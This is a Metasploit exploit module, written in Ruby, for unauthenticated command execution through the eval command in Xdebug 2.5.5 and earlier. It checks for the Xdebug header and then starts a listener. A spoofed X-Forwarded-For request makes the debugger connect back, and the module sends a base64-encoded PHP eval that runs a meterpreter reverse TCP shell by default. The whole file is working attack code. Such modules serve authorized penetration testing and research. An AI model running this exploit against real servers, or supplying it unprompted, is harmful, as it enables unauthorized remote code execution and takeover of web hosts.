##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'xdebug Unauthenticated OS Command Execution',
        'Description' => %q{
          Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
          This allows the attacker to execute arbitrary php code as the context of the web user.
        },
        'DisclosureDate' => '2017-09-17',
        'Author' => [
          'Ricter Zheng', # Discovery https://twitter.com/RicterZ
          'Shaksham Jaiswal', # MinatoTW
          'Mumbai' # Austin Hudson
        ],
        'References' => [
          ['CVE', '2015-10141'],
          ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
          ['URL', 'http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => [ARCH_PHP],
        'DefaultTarget' => 0,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [[ 'Automatic', {} ]],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
      OptAddressLocal.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
      OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
      Opt::RPORT(80),
    ])
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => datastore["PATH"],
        'method' => 'GET',
        'vars_get' => {
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
        }
      })
      vprint_status "Request sent\n#{res}"
      if res && res.headers.to_s =~ /XDEBUG/i
        vprint_good("Looks like remote server has xdebug enabled\n")
        return CheckCode::Detected('Xdebug header detected in response')
      else
        return CheckCode::Safe('Xdebug header not found in response')
      end
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Connection to target failed')
    end
  end

  def exploit
    payl = Rex::Text.encode_base64("#{payload.encoded}")
    cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("eval(base64_decode(\"#{payl}\"));") + "\x00"
    webserver = Thread.new do
      begin
        server = Rex::Socket::TcpServer.create(
          'LocalPort' => datastore['SRVPORT'],
          'LocalHost' => srvhost,
          'Context' => {
            'Msf' => framework,
            'MsfExploit' => self
          }
        )

        client = server.accept
        print_status("Waiting for client response.")
        data = client.recv(1024)
        print_status("Receiving response")
        vprint_line(data)
        print_status("Shell might take upto a minute to respond.Please be patient.")
        print_status("Sending payload of size #{cmd1.length} bytes")
        client.write(cmd1)
        client.close
        server.close
        webserver.exit
      ensure
        webserver.exit
      end
    end
    send_request_cgi({
      'uri' => datastore['PATH'],
      'method' => 'GET',
      'headers' => {
        'X-Forwarded-For' => "#{lhost}",
        'Cookie' => 'XDEBUG_SESSION=' + rand_text_alphanumeric(10)
      }
    })
  end
end
